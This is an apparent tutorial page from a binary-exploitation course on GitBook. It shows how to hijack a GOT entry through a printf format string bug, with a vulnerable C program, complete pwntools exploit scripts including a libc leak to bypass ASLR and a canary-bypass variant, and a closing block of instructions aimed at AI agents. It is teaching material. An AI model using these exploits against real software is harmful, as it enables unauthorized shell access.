> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/15.-got-overwrite-fsv.md).

# 0x14 — GOT Overwrite Attack Using Format String Vulnerability

## Overview

A **GOT Overwrite** combines the format string arbitrary write primitive (`%n`) with the GOT's writable function pointers to redirect execution. When a vulnerable program calls `printf(user_input)` and also uses other libc functions (like `puts`, `exit`, `strlen`), you can overwrite a GOT entry so the next call to that function instead jumps to your target (e.g., `system`, a win function, or a one\_gadget).

***

## Why the GOT?

* GOT entries are **writable** (with Partial RELRO)
* They hold **function pointers** used on every libc call
* Overwriting `got['puts']` with `system` means: next `puts(arg)` = `system(arg)`
* If the program later calls `puts("/bin/sh")` → you get a shell

***

## Requirements

| Requirement        | Needed for                             |
| ------------------ | -------------------------------------- |
| Format string vuln | Arbitrary write primitive              |
| Partial RELRO      | GOT is writable                        |
| libc leak (maybe)  | If overwriting with libc function addr |
| Known GOT addr     | Target address to overwrite            |

Check with:

```bash
checksec --file=./vuln
# RELRO: Partial RELRO  ← GOT is writable ✅
# RELRO: Full RELRO     ← GOT is read-only ❌
```

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void win() {
    system("/bin/sh");
}

void vuln() {
    char buf[256];
    puts("Input:");
    fgets(buf, 256, stdin);
    printf(buf);          // format string vulnerability
    puts("Done.");        // ← this call to puts will be hijacked
}

int main() {
    vuln();
    return 0;
}
```

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
checksec --file=./vuln
```

### Goal: Overwrite `got['puts']` with address of `win()`

***

## Step 1: Gather Addresses

```python
from pwn import *

elf = ELF('./vuln')

puts_got  = elf.got['puts']    # address of puts GOT entry (pointer location)
win_addr  = elf.sym['win']     # address of win() function

print(f"puts@got = {hex(puts_got)}")
print(f"win()    = {hex(win_addr)}")
```

***

## Step 2: Find Format String Offset

```python
def find_offset():
    for i in range(1, 50):
        p = process('./vuln')
        p.sendlineafter(b'Input:\n', f'AAAA.%{i}$p'.encode())
        data = p.recvall(timeout=1)
        p.close()
        if b'0x41414141' in data:
            print(f"Offset: {i}")
            return i

offset = find_offset()
```

***

## Step 3: Build GOT Overwrite Payload

Using pwntools `fmtstr_payload`:

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

offset   = 8            # your found offset
puts_got = elf.got['puts']
win_addr = elf.sym['win']

payload = fmtstr_payload(offset, {puts_got: win_addr})

p.sendlineafter(b'Input:\n', payload)

# Now when vuln() calls puts("Done."), it calls win() instead → shell!
p.interactive()
```

***

## Step 4: Full Exploit with libc Leak (ASLR Bypass)

When `win()` doesn't exist and you need to overwrite with `system`:

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

offset = 8

### Stage 1: Leak libc via format string read ###
def leak_addr(addr):
    fmt = f'%{offset}$s|||'.encode()
    pad = b'A' * ((8 - len(fmt) % 8) % 8)
    payload = fmt + pad + p64(addr)
    p.sendlineafter(b'Input:\n', payload)
    data = p.recvuntil(b'|||')[:-3]
    return u64(data.ljust(8, b'\x00'))

leaked_puts = leak_addr(elf.got['puts'])
libc.address = leaked_puts - libc.sym['puts']
log.success(f"libc base: {hex(libc.address)}")

### Stage 2: Overwrite got['puts'] with system ###
system_addr = libc.sym['system']
puts_got    = elf.got['puts']

payload2 = fmtstr_payload(offset, {puts_got: system_addr})
p.sendlineafter(b'Input:\n', payload2)

### Stage 3: Trigger system("/bin/sh") ###
# The program calls puts("Done.") → system("Done.") — won't give shell
# Better: find a call to puts with a user-controlled argument
# OR: overwrite got['puts'] and ensure /bin/sh is the argument

# If the program loops and calls puts(user_input):
p.sendlineafter(b'Input:\n', b'/bin/sh\x00')
p.interactive()
```

***

## Overwrite Other GOT Entries

Different functions are better targets depending on what's called with attacker-controlled input:

| Target GOT entry   | Why useful                                      |
| ------------------ | ----------------------------------------------- |
| `puts`             | Often called with user data: `puts(buf)`        |
| `printf`           | Called with user data in many programs          |
| `exit`             | Called with `exit(0)` — overwrite to win()      |
| `strlen`           | Often called on user input                      |
| `free`             | Called on heap chunks (useful in heap exploits) |
| `__stack_chk_fail` | Called when canary fails — redirect to win      |

***

## Overwriting `__stack_chk_fail` (Canary Bypass)

If the binary has stack canaries, you can overwrite `got['__stack_chk_fail']` with `win()`:

```python
stack_chk_got = elf.got['__stack_chk_fail']
payload = fmtstr_payload(offset, {stack_chk_got: win_addr})

# Then trigger a stack overflow to corrupt the canary
# → __stack_chk_fail is called → win() runs instead
```

***

## Debugging Tips

```bash
# Check current GOT values in GDB
gdb ./vuln
> got
> b *vuln+50     # breakpoint before printf call
> x/gx &puts@got.plt   # examine GOT entry before and after exploit
```

***

## Key Takeaways

* GOT Overwrite = arbitrary write to a GOT entry = full control over libc function calls
* `fmtstr_payload(offset, {got_entry: new_addr})` is the clean pwntools way
* Requires Partial RELRO (Full RELRO blocks this)
* Best targets: functions called with attacker-controlled arguments after the write
* If no convenient `puts(user_buf)` exists, overwrite `exit` or `__stack_chk_fail`
* With ASLR: first leak libc, then compute `system` address, then overwrite

***

## Checklist

* [ ] RELRO is Partial (not Full)
* [ ] Identified which GOT entry to overwrite
* [ ] Found the format string offset
* [ ] Identified libc base if needed (via GOT leak)
* [ ] Confirmed the overwritten function is called with a useful argument after the write


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/15.-got-overwrite-fsv.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
